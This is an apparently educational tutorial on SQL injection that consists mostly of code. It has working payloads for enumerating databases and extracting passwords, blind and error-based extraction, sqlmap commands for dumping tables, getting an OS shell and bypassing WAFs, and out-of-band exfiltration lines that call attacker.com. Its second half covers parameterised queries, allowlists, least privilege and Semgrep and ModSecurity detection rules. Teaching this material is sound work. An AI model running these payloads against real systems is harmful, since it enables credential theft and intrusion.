SQL Injection Explained: How It Works and How to Stop It

-- What the developer intended:
SELECT * FROM products WHERE category = 'Electronics' AND price < 1000
 
-- The actual query when user supplies: Electronics' OR '1'='1
SELECT * FROM products WHERE category = 'Electronics' OR '1'='1' AND price < 1000
 
-- Due to operator precedence (AND binds tighter than OR), this is:
SELECT * FROM products WHERE category = 'Electronics' OR ('1'='1' AND price < 1000)
-- Which returns all Electronics AND any product under $1000 — not what was intended

# VULNERABLE backend code
import sqlite3
 
def authenticate_user(username: str, password: str) -> bool:
    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()
 
    # NEVER DO THIS
    query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
    print(f"Executing: {query}")  # For educational purposes
    cursor.execute(query)
    user = cursor.fetchone()
    return user is not None

# Single quote — causes a syntax error if the value is inserted into SQL
'
 
# Double quote — for identifiers
"
 
# Boolean true/false test — both should return the same result if no injection
' OR '1'='1
' OR '1'='2
 
# Comment-based test
'--
'#
'/*
 
# Time-based test — if this causes a 5-second delay, SQLi is confirmed
' AND SLEEP(5)--        # MySQL
'; SELECT pg_sleep(5)-- # PostgreSQL
'; WAITFOR DELAY '0:0:5'-- # MSSQL

-- ORDER BY technique — increment until you get an error
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--   -- if this causes an error, the original query returns 2 columns
' ORDER BY 4--   -- error confirms 3 columns
 
-- NULL probing technique — more reliable, works across databases
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--  -- when the error disappears, you have the count

' UNION SELECT 'pwnsy',NULL,NULL--
' UNION SELECT NULL,'pwnsy',NULL--
' UNION SELECT NULL,NULL,'pwnsy'--

-- MySQL / MariaDB
' UNION SELECT NULL,@@version,NULL--
' UNION SELECT NULL,database(),NULL--
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()--
 
-- PostgreSQL
' UNION SELECT NULL,version(),NULL--
' UNION SELECT NULL,current_database(),NULL--
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema='public'--
 
-- Microsoft SQL Server
' UNION SELECT NULL,@@version,NULL--
' UNION SELECT NULL,DB_NAME(),NULL--
' UNION SELECT NULL,name,NULL FROM sys.tables--
 
-- Oracle
' UNION SELECT NULL,banner,NULL FROM v$version--
' UNION SELECT NULL,table_name,NULL FROM all_tables--

-- Find columns in the users table
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns
  WHERE table_name='users'--
 
-- Extract credentials
' UNION SELECT NULL,username||':'||password_hash,NULL FROM users--
-- MySQL: CONCAT(username,':',password_hash)
-- MSSQL: username+':'+password_hash

-- When you only have one visible string column but want multiple values
' UNION SELECT NULL,username||'~'||password||'~'||email,NULL FROM users--
 
-- Output: admin~$2b$12$abc123~admin@company.com
-- One response line contains all three fields, split by the ~ delimiter

-- If the page loads normally for the first payload but differently for the second,
-- boolean-based blind SQLi is confirmed
' AND 1=1--   -- TRUE condition
' AND 1=2--   -- FALSE condition

-- Is the first character of the admin password greater than ASCII 77 (M)?
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)) > 77--
 
-- TRUE response: first char > M (search upper half: N-Z, 0-9, etc.)
-- FALSE response: first char ≤ M (search lower half: A-M)
 
-- After binary search narrows down to exact value:
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)) = 104-- -- 'h'
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),2,1)) = 117-- -- 'u'
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),3,1)) = 110-- -- 'n'
-- ... continues for each character position

# Basic detection
sqlmap -u "https://target.com/products?id=1"
 
# With a captured HTTP request (most reliable for complex authenticated requests)
sqlmap -r request.txt --level=3 --risk=2
 
# Once confirmed vulnerable: enumerate databases
sqlmap -r request.txt --dbs
 
# Enumerate tables in a specific database
sqlmap -r request.txt -D production_db --tables
 
# Dump a specific table
sqlmap -r request.txt -D production_db -T users --dump
 
# Dump specific columns
sqlmap -r request.txt -D production_db -T users -C username,password --dump
 
# Attempt OS shell if DB user has FILE privilege (MySQL)
sqlmap -r request.txt --os-shell
 
# Tamper scripts to bypass WAF
sqlmap -r request.txt --tamper=space2comment,between,randomcase

# request.txt format (captured from Burp Suite)
POST /api/search HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123
 
{"query":"test","category":"1"}

-- MySQL/MariaDB: conditional SLEEP
' AND IF(1=1, SLEEP(5), 0)--    -- 5 second delay confirms TRUE
' AND IF(1=2, SLEEP(5), 0)--    -- no delay confirms FALSE
 
-- Extracting data with time delay
' AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>77, SLEEP(3), 0)--
 
-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
 
-- MSSQL
'; IF (1=1) WAITFOR DELAY '0:0:5'--
 
-- Conditional data extraction (MSSQL)
'; IF (ASCII(SUBSTRING((SELECT TOP 1 password FROM users),1,1)) > 77)
   WAITFOR DELAY '0:0:5'--

-- MySQL: ExtractValue generates an XML parsing error containing the extracted data
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))--
-- Error: XPATH syntax error: '~8.0.26'
-- The ~ (0x7e) forces the error; the value after it is the extracted data
 
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT password FROM users LIMIT 1)))--
-- Error: XPATH syntax error: '~$2b$12$N4p1hPSNJLB8...'
 
-- MSSQL: Conversion error surfaces string data
' AND 1=CONVERT(int, (SELECT TOP 1 password FROM users))--
-- Error: Conversion failed when converting the nvarchar value '$2b$12$...' to data type int.
 
-- PostgreSQL: Cast error
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
-- Error: invalid input syntax for type integer: "$2b$12$..."
 
-- Oracle: UTL_INADDR
' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT password FROM users WHERE ROWNUM=1))--

# Step 1: Registration — parameterized INSERT, safe
def register_user(username: str, password: str):
    # This is correctly parameterized
    cursor.execute(
        "INSERT INTO users (username, password_hash) VALUES (%s, %s)",
        (username, bcrypt.hashpw(password.encode(), bcrypt.gensalt()))
    )
    # username "admin'--" is stored safely in the database
 
# Step 2: Password update — VULNERABLE
def change_password(username: str, new_password: str):
    # The username is retrieved from the database (trusted source assumption)
    # but then concatenated into a new query — WRONG
    query = f"UPDATE users SET password_hash = '{bcrypt.hashpw(new_password.encode(), bcrypt.gensalt()).decode()}' WHERE username = '{username}'"
    cursor.execute(query)
 
# Attack:
# 1. Register with username: admin'--
# 2. When change_password("admin'--", "newpassword") runs:
#    UPDATE users SET password_hash = '$2b$12$...' WHERE username = 'admin'--'
#    The -- comments out the rest — update applies to ALL users named 'admin'
#    (or whichever user the attacker targets)

# Semgrep rule for second-order SQLi patterns
rules:
  - id: second-order-sqli
    patterns:
      - pattern: |
          $DATA = $DB.query(...)
          ...
          $QUERY = "... " + $DATA + "..."
          $DB.execute($QUERY)
    message: "Potential second-order SQL injection: data from DB used in string-concatenated query"
    severity: ERROR
    languages: [python]

-- MySQL: load_file or outfile can trigger DNS lookups
-- Requires FILE privilege
' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\share'))--
 
-- MSSQL: xp_dirtree for DNS exfiltration (requires sysadmin or xp_cmdshell)
'; DECLARE @p VARCHAR(1024);
   SET @p=(SELECT TOP 1 password FROM users);
   EXEC('master..xp_dirtree "\\'+@p+'.attacker.com\test"')--
 
-- Oracle: UTL_HTTP for HTTP-based exfiltration
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE ROWNUM=1)) FROM dual--

# Self-host an OAST server
interactsh-server -domain yourdomain.com
 
# Use the generated subdomain in payloads
# Any DNS query to *.yourdomain.com will be logged

# Python — psycopg2 (PostgreSQL)
import psycopg2
 
def get_user(conn, username: str, password_hash: str):
    with conn.cursor() as cur:
        cur.execute(
            "SELECT id, username, email, role FROM users WHERE username = %s AND password_hash = %s",
            (username, password_hash)
        )
        return cur.fetchone()
 
# Python — SQLite3
import sqlite3
 
def get_user(conn, username: str, password_hash: str):
    cur = conn.execute(
        "SELECT id, username, email, role FROM users WHERE username = ? AND password_hash = ?",
        (username, password_hash)
    )
    return cur.fetchone()
 
# Python — SQLAlchemy (raw query with bound parameters)
from sqlalchemy import text
 
def get_user(session, username: str, password_hash: str):
    result = session.execute(
        text("SELECT id, username, email, role FROM users WHERE username = :username AND password_hash = :hash"),
        {"username": username, "hash": password_hash}
    )
    return result.fetchone()

// Node.js — pg (PostgreSQL)
const { Pool } = require('pg');
const pool = new Pool();
 
async function getUser(username, passwordHash) {
  const result = await pool.query(
    'SELECT id, username, email, role FROM users WHERE username = $1 AND password_hash = $2',
    [username, passwordHash]
  );
  return result.rows[0];
}
 
// Node.js — mysql2
const mysql = require('mysql2/promise');
 
async function getUser(connection, username, passwordHash) {
  const [rows] = await connection.execute(
    'SELECT id, username, email, role FROM users WHERE username = ? AND password_hash = ?',
    [username, passwordHash]
  );
  return rows[0];
}

// PHP — PDO (the right way)
function getUser(PDO $pdo, string $username, string $passwordHash): ?array {
    $stmt = $pdo->prepare(
        "SELECT id, username, email, role FROM users WHERE username = :username AND password_hash = :hash"
    );
    $stmt->execute([':username' => $username, ':hash' => $passwordHash]);
    return $stmt->fetch(PDO::FETCH_ASSOC) ?: null;
}

// Go — database/sql
import "database/sql"
 
func getUser(db *sql.DB, username, passwordHash string) (*User, error) {
    row := db.QueryRow(
        "SELECT id, username, email, role FROM users WHERE username = $1 AND password_hash = $2",
        username, passwordHash,
    )
    var u User
    if err := row.Scan(&u.ID, &u.Username, &u.Email, &u.Role); err != nil {
        if err == sql.ErrNoRows {
            return nil, nil
        }
        return nil, err
    }
    return &u, nil
}

// Prisma — safe by default
const user = await prisma.user.findFirst({
  where: { username, passwordHash },
  select: { id: true, email: true, role: true },
});
 
// VULNERABLE: Prisma raw query without parameterization
// $queryRaw bypasses Prisma's protections entirely
const user = await prisma.$queryRaw`SELECT * FROM users WHERE username = '${username}'`;
// Prisma's template literal $queryRaw uses tagged templates — this IS parameterized
// But the old string-based version is not:
const user = await prisma.$queryRawUnsafe(`SELECT * FROM users WHERE username = '${username}'`);
 
// SAFE: $queryRaw with template literals (Prisma automatically parameterizes these)
const user = await prisma.$queryRaw`SELECT * FROM users WHERE username = ${username}`;

# SQLAlchemy ORM — safe
user = db.session.query(User).filter_by(username=username, password_hash=password_hash).first()
 
# VULNERABLE: raw string formatting in SQLAlchemy
db.session.execute(f"SELECT * FROM users WHERE username = '{username}'")
 
# SAFE: raw query with bound parameters
from sqlalchemy import text
db.session.execute(
    text("SELECT * FROM users WHERE username = :username"),
    {"username": username}
)

ALLOWED_SORT_COLUMNS = {'created_at', 'username', 'email', 'last_login'}
ALLOWED_SORT_DIRECTIONS = {'ASC', 'DESC'}
 
def get_users_sorted(sort_by: str, direction: str):
    if sort_by not in ALLOWED_SORT_COLUMNS:
        raise ValueError(f"Invalid sort column: {sort_by}")
    if direction not in ALLOWED_SORT_DIRECTIONS:
        raise ValueError(f"Invalid sort direction: {direction}")
 
    # Now safe to interpolate — values are allowlisted, not user-controlled
    query = f"SELECT id, username, email FROM users ORDER BY {sort_by} {direction}"
    return db.execute(query).fetchall()

// TypeScript with Prisma — allowlisted dynamic ordering
type SortField = 'createdAt' | 'username' | 'email';
type SortOrder = 'asc' | 'desc';
 
const ALLOWED_FIELDS: SortField[] = ['createdAt', 'username', 'email'];
const ALLOWED_ORDERS: SortOrder[] = ['asc', 'desc'];
 
async function getUsers(sortBy: string, order: string) {
  if (!ALLOWED_FIELDS.includes(sortBy as SortField)) {
    throw new Error('Invalid sort field');
  }
  if (!ALLOWED_ORDERS.includes(order as SortOrder)) {
    throw new Error('Invalid sort order');
  }
 
  return prisma.user.findMany({
    orderBy: { [sortBy as SortField]: order as SortOrder },
  });
}

-- VULNERABLE stored procedure (dynamic SQL inside)
CREATE PROCEDURE SearchProducts
    @category NVARCHAR(50)
AS
BEGIN
    EXEC('SELECT * FROM products WHERE category = ''' + @category + '''')
END
-- This is injectable because the dynamic SQL is constructed via string concatenation
 
-- SAFE stored procedure (uses the parameter directly)
CREATE PROCEDURE SearchProducts
    @category NVARCHAR(50)
AS
BEGIN
    SELECT name, price, description
    FROM products
    WHERE category = @category
END
-- The parameter @category is bound, not interpreted as SQL code

-- Create a restricted application user (PostgreSQL)
CREATE USER app_user WITH PASSWORD 'strong_random_password';
 
-- Grant only what the application needs
GRANT SELECT, INSERT, UPDATE ON TABLE users, products, orders TO app_user;
GRANT SELECT ON TABLE categories TO app_user;
 
-- Do NOT grant:
-- GRANT ALL ON DATABASE appdb TO app_user; -- too broad
-- GRANT SUPERUSER TO app_user; -- never
-- GRANT CREATE TO app_user; -- unless migrations run as this user (use separate migration user)
 
-- Read-only replica user for reporting
CREATE USER reporting_user WITH PASSWORD 'different_strong_password';
GRANT SELECT ON ALL TABLES IN SCHEMA public TO reporting_user;

# ModSecurity CRS rules for SQLi
# /etc/modsecurity/modsecurity.conf
SecRuleEngine On
SecRule REQUEST_COOKIES|REQUEST_HEADERS|ARGS \
    "@detectSQLi" \
    "id:942100,phase:2,deny,status:403,log,msg:'SQL Injection Attack Detected'"
 
# Test your WAF bypass resistance
sqlmap -u "https://target.com/search?q=1" --tamper=space2comment,between,randomcase,charencode

# Red flags in Python
f"SELECT ... WHERE x = '{user_input}'"           # f-string interpolation
"SELECT ... WHERE x = '" + user_input + "'"      # string concatenation
"SELECT ... WHERE x = %s" % (user_input,)        # %-formatting (NOT safe, different from psycopg2 %s)
cursor.execute("SELECT ... WHERE x = " + val)    # execute with concatenation

// Red flags in JavaScript/TypeScript
`SELECT * FROM users WHERE username = '${username}'`  // template literal
"SELECT * FROM users WHERE username = '" + username + "'"  // concatenation
db.execute("SELECT * FROM users WHERE username = " + username)  // execute with string
prisma.$queryRawUnsafe(`SELECT ...${variable}...`)  // Prisma unsafe raw
knex.raw(`SELECT ... WHERE x = '${value}'`)  // Knex raw without bindings

// Red flags in PHP
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];  // concatenation
$query = "SELECT * FROM users WHERE username = '$username'";  // variable interpolation
$result = mysql_query($query);  // mysql_query (deprecated but still seen in legacy code)

# Run OWASP's Semgrep ruleset for injection
semgrep --config "p/owasp-top-ten" src/
 
# Run specific SQLi rules
semgrep --config "p/sql-injection" src/
 
# Custom rule for Python f-string SQLi
cat > sqli-rule.yaml << 'EOF'
rules:
  - id: python-fstring-sqli
    pattern: |
      cursor.execute(f"... {$VAR} ...")
    message: "Potential SQL injection: f-string used in execute()"
    severity: ERROR
    languages: [python]
EOF
semgrep --config sqli-rule.yaml src/

# 1. Passive discovery — find injection points in a crawl
burpsuite &
# Configure browser proxy to Burp
# Navigate the target application
# Check Target > Site Map for all parameters
 
# 2. Active testing — inject into every parameter
# In Burp: right-click request > Send to Intruder
# Set payload position on the parameter value
# Payload list: single quote, double quote, boolean tests
# Check responses for error messages or behavioral differences
 
# 3. Automated confirmation
sqlmap -r captured_request.txt --batch --level=3
 
# 4. Exploitation — only if explicitly authorized for full pentest
sqlmap -r captured_request.txt --dbs --batch
sqlmap -r captured_request.txt -D appdb --tables --batch
sqlmap -r captured_request.txt -D appdb -T users --dump --batch
 
# 5. Document findings
# Screenshot of: vulnerable request, error message or behavioral difference,
# successful data extraction (sanitize real credentials in report)